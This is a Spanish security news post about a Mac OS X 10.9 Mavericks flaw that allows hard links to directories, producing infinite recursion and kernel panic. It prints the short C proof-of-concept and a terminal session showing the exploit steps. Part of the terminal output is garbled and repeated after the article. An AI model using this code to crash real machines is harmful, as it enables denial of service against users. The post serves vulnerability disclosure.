
Además, los enlaces duros en los directorios conducirían a la inconsistencia en las entradas del directorio padre. La excepción confirmada es Mac OS X 10.5 Leopard, el cual utiliza enlaces duros a directorios para el mecanismo de copia de seguridad Time Machine, solamente. Conocido esto, hay que decir que el investigador Maksymilian Arciemowicz ha descubierto que en Mac OS X 10.9 se puede crear un enlace a disco provocando recursividad infinita, con un sencillo código en C. El código lo exponemos a continuación.
#include
#include
void usage(const char* program)
{
const char* message = " [src_dir] [target_dir]";
fprintf(stderr, "%s%s\n", program, message);
}
int main(int argc, char* argv[]) {
if (argc!=3) {
usage(argv[0]);
return 1;
}
int ret = link(argv[1],argv[2]);
fprintf(stderr,"link(3) return= %d\n", ret);
return ret;
}
mac-cxs-XK
ochd XK$ gcc -o test test.c
mac-cxs-XK
ochd XK$ ls
test test.c
mac-cxs-XK
ochd XK$ mkdir DIR1
mac-cxs-XK
ochd XK$ ./test DIR1 Hardlink1
link(3) return= -1
mac-cxs-XK
ochd XK$ mkdir DIR1/DIR2
mac-cxs-XK
ochd XK$ ./test DIR1/DIR2 Hardlink2
link(3) return= 0
mac-cxs-XK
ochd XK$ cd DIR1
mac-cxs-XK
IR1 XK$ mkdir DIR2/DIR3
mac-cxs-XK
IR1 XK$ ../test DIR2/DIR3 Hardlink3
link(3) return= 0
mac-cxs-XK
IR1 XK$ cd DIR2
mac-cxs-XK
IR2 XK$ mkdir DIR3/DIR4
mac-cxs-XK
IR2 XK$ ../../test DIR3/DIR4 Hardlink4
link(3) return= -1
Puede haber muchas consecuencias negativas que se obtienen del mal manejo del enlace duro. Se sabe que existe la vía de agotar los recursos del sistema a través de dicha vulnerabilidad, pudiendo causar bloqueos de aplicaciones, o como se produce con esta vulnerabilidad kernel panic. Habrá que esperar a una nueva actualización de OS X Mavericks. 
mac-cxs-XK

test test.c
mac-cxs-XK

mac-cxs-XK

link(3) return= -1
mac-cxs-XK

mac-cxs-XK

link(3) return= 0
mac-cxs-XK

mac-cxs-XK

mac-cxs-XK

link(3) return= 0
mac-cxs-XK

mac-cxs-XK

mac-cxs-XK

link(3) return= -1
Publicado en Seguridad Apple - Google+ - RSS - Eleven Paths - El lado del mal

Continúar leyendo...